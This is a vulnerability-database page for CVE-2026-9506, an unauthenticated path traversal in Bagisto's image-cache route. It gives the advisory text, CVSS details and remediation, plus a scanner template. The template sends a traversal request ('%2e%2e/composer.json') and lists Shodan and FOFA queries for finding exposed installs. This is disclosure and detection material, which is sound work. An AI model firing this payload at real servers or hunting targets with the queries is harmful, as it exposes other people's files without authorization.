/Vulnerability Library

Bagisto <= 2.4.1 - Unauthenticated Arbitrary File Read

CVE-2026-9506
Verified

Description

Bagisto through 2.4.1 is vulnerable to unauthenticated path traversal in the ImageCache controller. The `original` image-cache route (/cache/original/{filename}) passes the user-supplied filename to getImagePath() without any '..' filtering or realpath containment, allowing a remote unauthenticated attacker to read files outside the intended public image directories (upload/images) - for example the application's composer.json, artisan and other source files.

Severity

High

CVSS Score

8.7

Exploit Probability

1%

Affected Product

bagisto

Published Date

August 7, 2026

Template Author

str4k3r

CVE-2026-9506.yaml
id: CVE-2026-9506

info:
  name: Bagisto <= 2.4.1 - Unauthenticated Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    Bagisto through 2.4.1 is vulnerable to unauthenticated path traversal in the ImageCache controller. The `original` image-cache route (/cache/original/{filename}) passes the user-supplied filename to getImagePath() without any '..' filtering or realpath containment, allowing a remote unauthenticated attacker to read files outside the intended public image directories (upload/images) - for example the application's composer.json, artisan and other source files.
  impact: |
    Unauthenticated attackers can read arbitrary sensitive files, potentially exposing confidential information.
  remediation: Fixed in 2.4.2, which adds realpath() containment and '../' sanitisation.
  reference:
    - https://github.com/advisories/GHSA-qhcg-rw5x-vg94
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9506
    - https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2026-0292
    - https://www.ionix.io/threat-center/cve-2026-9506/
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-9506
    epss-score: 0.01238
    epss-percentile: 0.6664
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: webkul
    product: bagisto
    shodan-query: http.html:"Bagisto"
    fofa-query: body="bagisto"
  tags: cve,cve2026,bagisto,webkul,lfi,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/cache/original/%2e%2e/composer.json"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"name": "bagisto/bagisto"'
          - 'Bagisto Laravel E-Commerce'
        condition: or

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e605bf1516971e2bfd5810115a51feb9d3e4f25e5b1aecfe5f876a4e179b459e022100bbdfdd03ef601ef75faeeb8bf3fd55f1af24471139f53c72b103b86964da5d4d:922c64590222798bb761d5b6d8e72950
8.7Score

CVSS Metrics

CVSS Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVE ID:
cve-2026-9506
CWE ID:
cwe-22

References

https://github.com/advisories/GHSA-qhcg-rw5x-vg94https://nvd.nist.gov/vuln/detail/CVE-2026-9506https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2026-0292https://www.ionix.io/threat-center/cve-2026-9506/

Remediation Steps

Fixed in 2.4.2, which adds realpath() containment and '../' sanitisation.